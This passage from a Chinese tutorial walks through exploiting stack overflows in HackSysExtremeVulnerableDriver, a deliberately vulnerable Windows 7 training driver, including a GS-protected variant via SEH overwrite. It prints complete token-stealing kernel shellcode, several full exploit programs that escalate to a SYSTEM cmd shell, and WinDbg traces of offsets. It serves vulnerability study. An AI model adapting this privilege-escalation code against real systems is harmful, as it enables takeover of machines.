Enabled Default 08 0x000000008 SeSecurityPrivilege Attributes - 09 0x000000009 SeTakeOwnershipPrivilege Attributes - 10 0x00000000a SeLoadDriverPrivilege Attributes - 11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default 12 0x00000000c SeSystemtimePrivilege Attributes - 13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default 14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default 15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default 16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default 17 0x000000011 SeBackupPrivilege Attributes - 18 0x000000012 SeRestorePrivilege Attributes - 19 0x000000013 SeShutdownPrivilege Attributes - 20 0x000000014 SeDebugPrivilege Attributes - Enabled Default 21 0x000000015 SeAuditPrivilege Attributes - Enabled Default 22 0x000000016 SeSystemEnvironmentPrivilege Attributes - 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default 25 0x000000019 SeUndockPrivilege Attributes - 28 0x00000001c SeManageVolumePrivilege Attributes - 29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default 30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default 31 0x00000001f SeTrustedCredManAccessPrivilege Attributes - 32 0x000000020 SeRelabelPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default Authentication ID: (0,3e7) Impersonation Level: Anonymous TokenType: Primary Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use ) Token ID: 3ea ParentToken ID: 0 Modified ID: (0, 3eb) RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000 OriginatingLogonSession: 0
2.4.2 提权
参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,它们构造的 Payload 代码如下:
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
解释一下如上代码:
- 获取当前线程的 KTREAD 结构,从而获得 _KPROCESS 结构
- 获取系统进程的进程ID:4
- 根据系统进程的 ID 在进程链表中查找该进程的 EPROCESS
- 找到之后获取系统进程的进程令牌
- 使用系统进程的令牌替换目标进程的令牌
2.4.3 POC 动态调试
-
对 TriggerBufferOverflowStack 函数下断点,在有符号文件的情况下,可以直接:bu HEVD!TriggerBufferOverflowStack,如果没有符号文件,也可以直接计算函数偏移
-
使用应用程序与驱动层进行通信:
-
输入后,成功断下
-
输入 dd esp 查看 esp 地址处存放的值:aaaa819a,该地址即为 TriggerBufferOverflowStack 函数的返回地址
0: kd> dd esp 91995ad4 aaaa819a 0034ec50 00000100 91995afc 91995ae4 aaaa70ba 89061660 890616d0 86bf0f80 91995af4 86be1dc8 00000000 91995b14 83e7f593 91995b04 86be1dc8 89061660 89061660 86be1dc8 91995b14 91995b34 8407399f 86bf0f80 89061660 91995b24 890616d0 00000094 04995bac 91995b44 91995b34 91995bd0 84076b71 86be1dc8 86bf0f80 91995b44 00000000 83ed9201 0008cf01 00000002
-
继续在memcpy函数下断点以后运行程序
-
查看 memcpy 函数的参数:
0: kd> dd ebp+c 91995adc 00000100 91995afc aaaa70ba 89061660 91995aec 890616d0 86bf0f80 86be1dc8 00000000 91995afc 91995b14 83e7f593 86be1dc8 89061660 91995b0c 89061660 86be1dc8 91995b34 8407399f 91995b1c 86bf0f80 89061660 890616d0 00000094 91995b2c 04995bac 91995b44 91995bd0 84076b71 91995b3c 86be1dc8 86bf0f80 00000000 83ed9201 91995b4c 0008cf01 00000002 e983baf0 00000020 0: kd> dd ebp+8 91995ad8 0034ec50 00000100 91995afc aaaa70ba 91995ae8 89061660 890616d0 86bf0f80 86be1dc8 91995af8 00000000 91995b14 83e7f593 86be1dc8 91995b08 89061660 89061660 86be1dc8 91995b34 91995b18 8407399f 86bf0f80 89061660 890616d0 91995b28 00000094 04995bac 91995b44 91995bd0 91995b38 84076b71 86be1dc8 86bf0f80 00000000 91995b48 83ed9201 0008cf01 00000002 e983baf0 0: kd> dd eax 919952b4 00000000 00000000 00000000 00000000 919952c4 00000000 00000000 00000000 00000000 919952d4 00000000 00000000 00000000 00000000 919952e4 00000000 00000000 00000000 00000000 919952f4 00000000 00000000 00000000 00000000 91995304 00000000 00000000 00000000 00000000 91995314 00000000 00000000 00000000 00000000 91995324 00000000 00000000 00000000 00000000 0: kd> dd 0034ec50 0034ec50 41414141 41414141 41414141 41414141 0034ec60 41414141 41414141 41414141 41414141 0034ec70 41414141 41414141 41414141 41414141 0034ec80 41414141 41414141 41414141 41414141 0034ec90 41414141 41414141 41414141 41414141 0034eca0 41414141 41414141 41414141 41414141 0034ecb0 41414141 41414141 41414141 41414141 0034ecc0 41414141 41414141 41414141 41414141
-
要拷贝的局部变量的目的地址是 919952b4,那也就是说想要输入的数据覆盖到返回地址,我们需要提供 919952b4 - 919952b4 = 0x820 大小的字节数据来填充上面的内容,接着的4字节就会覆盖掉返回地址。此时这个地址,就可以指定为 ShellCode 的地址,这样当函数退出的时候,就会执行我们想要执行的 ShellCode。
-
这里还需要注意的是,正常执行的时候,函数执行完了会返回上层的 BufferOverflowStackIoCtrl 函数,而这个函数的最终会执行如下的两条指令来返回更上一层的函数执行
-
所以,为了程序的正常退出,在ShellCode的末尾也需要这样的两句代码
2.4.3 利用代码分析
以下为原项目中提供的利用代码,目录为:C:\Users\soma\Downloads\HackSysExtremeVulnerableDriver-master\HackSysExtremeVulnerableDriver-master\Exploit\StackOverflow.c
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG BytesReturned;
PVOID MemoryAddress = NULL;
PULONG UserModeBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
PVOID EopPayload = &TokenStealingPayloadWin7;
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
if (!UserModeBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
}
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
以上代码所做的步骤如下:
- 获得设备的句柄
- 申请 0x824 的堆空间
- 将申请的堆空间使用 0x41 填充
- 将 0x821 - 0x824 四个字节设置为 shellcode 的地址
- 调用 DeviceIoControl 函数向驱动通信,传入刚刚修改好的数据
在以上代码运行之后,还会创建 cmd 进程,查看是否提权成功,以下也给出其他人写的 EXP 代码:
版本一:
#include<stdio.h>
#include<windows.h>
#define STACKOVERFLOW 0x222003
/************************************************************************/
/* Stack Over flow */
/* Write by Thunder_J 2019.6 */
/************************************************************************/
VOID ShellCode()
{
//__debugbreak();
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4
find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid
mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
char buf[0x824];
HANDLE hDevice;
DWORD bReturn = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
printf("Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get handle...!\n");
return 0;
}
//__debugbreak();
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
// call TriggerStackOverflow()
printf("Started to over flow...\n");
//__debugbreak();
DeviceIoControl(hDevice, STACKOVERFLOW, buf, 0x824,NULL,0,&bReturn,NULL);
printf("Started to Create cmd...\n");
CreateCmd();
return 0;
}
版本二:
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
#define LINK_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222003
#define OUT_BUFFER_LENGTH 0
void ShowError(PCHAR msg);
VOID Ring0ShellCode();
BOOL g_bIsExecute = FALSE;
int main()
{
NTSTATUS status = STATUS_SUCCESS;
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFile Error");
goto exit;
}
CONST DWORD dwIputSize = 0x820 + 0x4; // 0x820用来填充垃圾数据,随后4字节填充返回地址
CHAR szInputData[dwIputSize] = { 0 };
*(PDWORD)(szInputData + 0x820) = (DWORD)Ring0ShellCode; // 指定返回地址为ShellCode
// 与驱动设备进行交互
if (!DeviceIoControl(hDevice,
IOCTL,
szInputData,
dwIputSize,
NULL,
0,
&dwReturnLength,
NULL))
{
printf("DeviceIoControl Error");
goto exit;
}
if (g_bIsExecute)
{
printf("Ring0 代码执行完成\n");
}
si.cb = sizeof(si);
if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi))
{
ShowError("CreateProcess");
goto exit;
}
exit:
if (hDevice) NtClose(hDevice);
system("pause");
return 0;
}
void ShowError(PCHAR msg)
{
printf("%s Error 0x%X\n", msg, GetLastError());
}
VOID __declspec(naked) Ring0ShellCode()
{
__asm
{
pushfd
pushad
sub esp, 0x40
}
// 关闭页保护
__asm
{
cli
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
}
__asm
{
// 取当前线程
mov eax, fs:[0x124]
// 取线程对应的EPROCESS
mov esi, [eax + 0x150]
mov eax, esi
searchWin7:
mov eax, [eax + 0xB8]
sub eax, 0x0B8
mov edx, [eax + 0xB4]
cmp edx, 0x4
jne searchWin7
mov eax, [eax + 0xF8]
mov [esi + 0xF8], eax
}
// 开起页保护
__asm
{
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
}
g_bIsExecute = TRUE;
__asm
{
add esp, 0x40
popad
popfd
xor eax, eax
pop ebp
ret 8
}
}
2.4.4 利用结果
-
启动利用程序:
-
输入命令:
-
出现以下情况即利用成功:
2.5 HEVD 栈溢出漏洞训练(有 GS 版本)
关于 GS 的知识可以看《0day安全软件漏洞分析技术第 2 版》,在此不再过多赘述
2.5.1 漏洞原理
这部分和栈溢出漏洞原理一致,只是需要绕过 GS 保护机制。
GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。Security Cookie 位于 EBP 之前,系统还将在 .data 的内存区域中存放一个 Security Cookie 的副本
绕过 GS 保护的几种方法:
- 利用未被保护的内存突破GS
- 覆盖虚函数突破GS
- 攻击异常处理突破GS
- 同时替换栈中和.data中的Cookie突破GS
2.5.2 漏洞利用
因为 GS 保护,在栈中有 cookie,所以无法溢出到返回地址,那就溢出到 SEH handle,选择攻击异常处理突破 GS
1. POC 动态调试
-
对 TriggerBufferOverflowStackGS 函数下断点:bp HEVD!TriggerBufferOverflowStackGS
-
在通信程序中输入传送的数据大小:
-
此时在 Windbg 中已经成功断下,此时可以在 IDA 中分析这部分的代码,并结合单步调试的信息分析,分析结果如下:
-
结合以上的调试信息,构建堆栈图,可以看到驱动中的异常处理结点位于 ebp-10h 处,next 域地址为 9b4efac0,处理函数地址为 9a6eb0a0
-
再一次调试,在进入 __SEH_prolog4_GS 函数后,输入 dd FS:0 可以查看异常链的地址
-
输入 dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(9b4ef0ec) 查看异常链:
-
在执行完 9a6eb200 2be0 sub esp,eax 这条指令后,异常链的地址发生了变化,这里我也不知道为什么,可能是根据堆栈进行动态调整,再次查看异常链,发现异常链的结点地址也发生了变化
-
最后来到 9a6eb229 64a300000000 mov dword ptr fs:[00000000h],eax 语句,在这里相当于完成了新的 SEH 结点的插入,可以看到 FS:0 的值在插入前就已经发生了一些变化(推测是由于中间的几次 push 引起的堆栈变化导致的),在插入后,fs:0 的值没有发生改变
-
之前在书上学到的 fs:0 会指向新插入的结点,如第二张图,但是实际情况不是这样,发现新的结点被插入变成了第三个,这里感觉应该是插入结点需要根据结点所在地址来进行排序然后再插入到对应的地方
-
经过调试,由此确定了 SEH 结点的地址位于 ebp-10h 处
-
在 9a72f338 e89fbefbff call HEVD!memcpy (9a6eb1dc) 指令处下断点,运行到此处,查看参数:即拷贝的目标地址为 9b4ef8b4 ,此时 ebp 为 9b4efad0 ,ebp - 10h 为 9b4efac0 ,与 9b4ef8b4 相距 0x20C,由此得到漏洞利用的重要信息(即 SEH 结点的偏移)
2. 利用代码分析
原版payload 如下:这个 payload 在实际测试中会出现内核崩溃,在后续分析中会提到,并且会给出调整后正确的 payload
VOID TokenStealingPayladGSWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
add esp, 0x798 ; Offset of IRP on stack
mov edi, [esp] ; Restore the pointer to IRP
add esp, 0x8 ; Offset of DbgPrint string
mov ebx, [esp] ; Restore the DbgPrint string
add esp, 0x234 ; Target frame to return
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
利用代码如下:
DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG BytesReturned;
SIZE_T PageSize = 0x1000;
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214;
PVOID EopPayload = &TokenStealingPayladGSWin7;
LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;
__try {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE,
0,
PageSize,
SharedMemoryName);
if (!Sharedmemory) {
DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
}
DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,
FILE_MAP_ALL_ACCESS,
0,
0,
PageSize);
if (!SharedMappedMemoryAddress) {
DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
}
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));
DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);
*(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x43434343; // junk
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = 0x44444444; // Next SE handler
DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress);
MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);
*(PULONG)MemoryAddress = (ULONG)EopPayload; // SE Handler
DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,
(LPVOID)SuitableMemoryForBuffer,
(DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
以上代码的功能如下:
-
获得设备句柄
-
为 HackSysExtremeVulnerableDriverSharedMemory 创建一个文件映射内核对象
-
将一个文件映射对象映射到当前应用程序的地址空间
-
填充缓冲区数据,因为按页对齐,所以: SeHandlerOverwriteOffset 为 0x214
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41); MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204); *(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress); DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress); MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x43434343; // junk MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4); *(PULONG)MemoryAddress = 0x44444444; // Next SE handler
-
将偏移为 0x20E - 0x210 的 4 个字节覆盖为 payload 地址
3. 结果测试
-
输入命令进行测试
-
出现以下情况,但是紧接着就是内核的蓝屏崩溃,这是为什么呢
4. 内核崩溃原因探究
对于崩溃的原因,我最开始做了以下几种猜测:
- 生成的 HackSysEVDExploit.exe 不对,需要重新生成一下
- 虚拟机版本不对
- 该漏洞涉及攻击 SEH 链表,是不是虚拟机误开启了 SEHOP 导致利用失败?
- 如果不是 SEHOP ,那么是 SafeSEH 对它进行的干扰吗
针对前三种原因,我已经测试过了,不是他们导致的,所以直接测试一下 SafeSEH 有没有对结果进行干扰:
-
在输入 HackSysEVDExploit.exe -g -c cmd.exe 之前先在 Windbg 中下断点:bp HEVD!TriggerBufferOverflowStackGS
-
继续运行之后,输入 HackSysEVDExploit.exe -g -c cmd.exe,然后 Windbg 中断下:
-
已知异常处理函数最终要调用 RtlDispatchException ,所以输入 bp Nt!RtlDispatchException 下断点:
-
继续运行,在 RtlDispatchException 函数开头断下:
-
已知由于 SafeSEH 机制 RtlDispatchException 函数开头会将 SEH 链表的结点一个一个取出来,做一些判断,符合规定的结点中的异常处理函数才能被调用
-
运行到 0x83ef4330 处,此时调用 RtlpGetRegistrationHead 函数取出 SEH 链表的头结点
-
执行该指令后查看返回值:
-
查看 SEH 链表,查看该结点位于什么位置,可以看到该结点的下一个结点即为我们覆盖的 SEH 结点
-
可以看到 0x001c38d0 即为我们的 payload 代码
-
为了方便,直接看能不能进入到 payload 代码中,在 83ef43b0 处下断点,然后按 F5 运行到此处,此时第一次执行的是 0xa01b4784 结点内的异常处理函数,所以再按一下 F5 运行到此处
然后单步步入,一直到 0x83ec0620 处
-
由上图可以看到可以成功调用我们设置的 payload ,那么排除 SafeSEH 的问题,那么继续运行,发生内核崩溃
根据以上的分析,推测是由于 payload 最后恢复堆栈的偏移不对引起的内核崩溃,后面实际单步测试也确实是这样,重新审视一下 payload,末尾的一段代码引起了我的注意,之前没太懂这段代码的意义,只知道是用来恢复堆栈
; Kernel Recovery Stub
add esp, 0x798 ; Offset of IRP on stack
mov edi, [esp] ; Restore the pointer to IRP
add esp, 0x4 ; Offset of DbgPrint string
mov ebx, [esp] ; Restore the DbgPrint string
add esp, 0x234 ; Target frame to return
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
那么以上代码中的 0x798 和 0x234 这两个偏移是怎么来的,这段代码我光看注释其实看得不太懂,于是开始查找资料,最终找到这篇文章:HEVD Stack Overflow GS (klue.github.io)。文中提到了这两个偏移的由来:
以下展开具体分析:
-
payload 在执行 ret 8 后会返回到一个地点,首先就是需要选择这个地点,输入 k 查看栈回溯:
-
如果选择返回到 HEVD!TriggerBufferOverflowStackGS+0x97 调用 memcpy 函数之后,该函数后面的栈帧已经被覆盖掉,后面执行不了,所以选择 TriggerBufferOverflowStackGS 函数的返回地址:9faee29e ,可以看到该地址存放在 a01b4ad0 中
-
所以在 payload 最后返回时需要将 esp 调整为 a01b4ad0 ,最后才能返回到 9faee29e 处
-
既然返回地址已经确定,现在还需要确定的是返回之后某些寄存器的值会不会影响后续的执行(实际测试时 esi,edi,ebx 的值都会影响到后续的执行)
-
利用 IDA 分析:
-
那么去哪里获得之前的 edi,esi,ebx 的值呢,这三个寄存器的值是否在栈中留有备份呢?在之前分析 __SEH_prolog4_GS 函数的时候,看到如下代码,在此将三个寄存器保存到栈中
-
查看 a01b4880 即可看到保存的三个寄存器
3: kd> dds a01b4880 a01b4880 a01b4ad0 a01b4884 9faee33d HEVD!TriggerBufferOverflowStackGS+0x97 [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 107] a01b4888 a01b48b4 a01b488c 001f0dec a01b4890 00000218 a01b4894 0000004d a01b4898 00000003 a01b489c 9faf0640 HEVD! ?? ::NNGAKEGL::`string' a01b48a0 1a534f29 a01b48a4 8884faf0 ; edi a01b48a8 83f0d087 nt!DbgPrintEx ; esi a01b48ac 8884fb60 ; ebx a01b48b0 00000004 a01b48b4 41414141 a01b48b8 41414141 a01b48bc 41414141 a01b48c0 41414141 a01b48c4 41414141 a01b48c8 41414141 a01b48cc 41414141 a01b48d0 41414141 a01b48d4 41414141 a01b48d8 41414141 a01b48dc 41414141 a01b48e0 41414141 a01b48e4 41414141 a01b48e8 41414141 a01b48ec 41414141 a01b48f0 41414141 a01b48f4 41414141 a01b48f8 41414141 a01b48fc 41414141
-
所以计算 a01b48a4 - esp 得到 esi 的偏移(需要调试),计算 a01b4ad0 - esp 得到返回地址的偏移,最后改过的 payload 如下:
VOID TokenStealingPayladGSWin7() { // Importance of Kernel Recovery __asm { pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[0x124] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process 